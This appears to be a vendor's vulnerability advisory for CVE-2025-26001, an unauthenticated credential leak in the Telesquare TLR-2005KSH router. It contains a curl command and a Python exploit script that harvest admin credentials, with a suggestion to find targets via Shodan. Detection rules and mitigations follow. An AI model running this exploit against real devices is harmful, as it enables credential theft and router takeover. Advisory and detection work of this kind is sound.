CVE-2025-26001
Executive Summary
CVE-2025-26001 is an information disclosure vulnerability in the Telesquare TLR-2005KSH router, specifically in firmware version 1.1.4. The vulnerability exists in the getUserNamePassword parameter, which exposes sensitive credentials (usernames and passwords) without proper authentication or authorization controls. This flaw allows an unauthenticated attacker to retrieve stored credentials, potentially leading to full device compromise and lateral movement within the network. No patch is currently available, and the vendor has not released a security advisory. The vulnerability is classified under CWE-200 (Exposure of Sensitive Information).
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a hardware/firmware issue affecting the Telesquare TLR-2005KSH router, which is typically deployed in small office/home office (SOHO) environments. The lack of a patch increases supply chain risk for organizations using this device.
CVSS Breakdown & Threat Level
The CVSS score is listed as 0.0 in the NVD data, likely due to incomplete scoring. Based on the vulnerability characteristics, a reasonable CVSS v3.1 vector would be:
- Attack Vector (AV): Network (N) – exploitable remotely.
- Attack Complexity (AC): Low (L) – no special conditions required.
- Privileges Required (PR): None (N) – no authentication needed.
- User Interaction (UI): None (N) – no user action required.
- Scope (S): Unchanged (U) – the vulnerable component is the router itself.
- Confidentiality (C): High (H) – credentials are exposed.
- Integrity (I): None (N) – no data modification.
- Availability (A): None (N) – no impact on availability.
Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Estimated Base Score: 7.5 (High)
Threat Level: High. The vulnerability is trivial to exploit, requires no authentication, and exposes sensitive credentials that can be used for further attacks.
Deep Dive & Mechanics
The Telesquare TLR-2005KSH router exposes an endpoint or parameter named getUserNamePassword that returns stored usernames and passwords in plaintext. This is likely an administrative debug or diagnostic feature that was left enabled in the production firmware. The vulnerability is triggered by sending a crafted HTTP request to the router's web interface.
Root Cause: The router's web server does not enforce authentication for the getUserNamePassword endpoint. This is a classic case of missing authentication for a critical function (CWE-306) combined with exposure of sensitive information (CWE-200).
Attack Vector: An unauthenticated attacker on the same network (or remotely if the router is exposed to the internet) can send a GET request to the vulnerable endpoint and receive the credentials in the response.
Impact: Successful exploitation allows the attacker to obtain administrative credentials, leading to full control of the router. This can be used to:
- Modify DNS settings for phishing or man-in-the-middle attacks.
- Exfiltrate network traffic.
- Pivot to other devices on the internal network.
- Install persistent backdoors.
Vulnerable vs. Patched Code
Since no patch is available, we can only analyze the vulnerable code path. The vulnerable endpoint likely looks like this in the router's web server (pseudo-code):
Vulnerable Code (PHP/Python/Perl CGI):
# Vulnerable endpoint: /getUserNamePassword
def handle_request(request):
if request.path == "/getUserNamePassword":
# No authentication check
credentials = get_stored_credentials()
return json.dumps(credentials)
Patched Code (Hypothetical):
# Patched endpoint: /getUserNamePassword
def handle_request(request):
if request.path == "/getUserNamePassword":
# Authentication required
if not is_authenticated(request):
return "401 Unauthorized", 401
credentials = get_stored_credentials()
return json.dumps(credentials)
The fix would involve adding authentication checks before returning sensitive data. Since no patch exists, users must implement workarounds (see Remediation & Mitigation).
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- Target Telesquare TLR-2005KSH router with firmware 1.1.4.
- Network access to the router's web interface (typically port 80 or 443).
Exploitation Steps:
- Identify the target router's IP address (e.g., via Shodan or local network scan).
- Send a GET request to the vulnerable endpoint:
curl http://<target_ip>/getUserNamePassword - The response will contain the credentials in plaintext (likely JSON or XML format).
Example Output:
{
"admin": "password123",
"user": "userpass"
}
Automated Exploit (Python):
import requests
import sys
def exploit(target_ip):
url = f"http://{target_ip}/getUserNamePassword"
try:
response = requests.get(url, timeout=10)
if response.status_code == 200:
print("[+] Credentials found:")
print(response.text)
else:
print(f"[-] Unexpected status code: {response.status_code}")
except Exception as e:
print(f"[-] Error: {e}")
if __name__ == "__main__":
if len(sys.argv) != 2:
print("Usage: python exploit.py <target_ip>")
sys.exit(1)
exploit(sys.argv[1])
Blue Team (Detection & Response)
Detection Steps:
- Monitor HTTP requests to
/getUserNamePasswordendpoint. - Alert on any successful responses (HTTP 200) from this endpoint.
- Investigate any unauthorized access to the router's web interface.
Honeypot Setup:
- Deploy a fake router endpoint that mimics the vulnerable behavior to detect scanning activity.
- Log all requests to
/getUserNamePasswordand alert on them.
Network Segmentation:
- Ensure the router is not directly accessible from the internet.
- Use VLANs to isolate the router from critical assets.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP GET requests to
/getUserNamePasswordon the router's IP. - Response containing JSON/XML with keys like
admin,password,username.
File IOCs:
- Log entries showing access to
/getUserNamePasswordendpoint. - Configuration files on the router that contain plaintext credentials.
Behavioral IOCs:
- Unusual DNS changes (if attacker modifies router settings).
- Unexpected outbound connections from the router to unknown IPs.
Detection Engineering
YARA Rule
rule CVE_2025_26001_Telesquare_InfoDisclosure {
meta:
description = "Detects HTTP responses containing credentials from Telesquare TLR-2005KSH info disclosure"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-26001"
hash = "unknown"
strings:
$cred_pattern = /"username"\s*:\s*"[^"]+"\s*,\s*"password"\s*:\s*"[^"]+"/ nocase
$endpoint = "/getUserNamePassword"
condition:
$endpoint and $cred_pattern
}
Sigma Rule
title: Telesquare TLR-2005KSH Credential Disclosure Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests to the vulnerable /getUserNamePassword endpoint on Telesquare routers
author: Valters IT
date: 2025-04-10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2025-26001
logsource:
category: webserver
product: apache
service: http
detection:
selection:
cs-method: 'GET'
cs-uri-stem: '/getUserNamePassword'
condition: selection
falsepositives:
- Legitimate administrative access (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-26001 Telesquare TLR-2005KSH Credential Disclosure Attempt"; flow:to_server; content:"GET"; http_method; content:"/getUserNamePassword"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable Remote Management: If the router's web interface is exposed to the internet, disable remote management immediately.
- Restrict Access: Use firewall rules to allow access to the router's web interface only from trusted IP addresses.
- Change Default Credentials: If you have access, change all default passwords immediately.
Long-Term Fixes:
- Vendor Patch: Contact Telesquare for a firmware update. Since no patch is available, consider replacing the device.
- Network Segmentation: Place the router in a separate VLAN with strict access controls.
- Monitor Logs: Enable logging on the router and monitor for suspicious access to
/getUserNamePassword.
Workaround:
- If you cannot replace the device, use a reverse proxy (e.g., Nginx) in front of the router to block requests to
/getUserNamePassword:location /getUserNamePassword { deny all; return 403; }
Valters IT
Securing your digital frontier.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.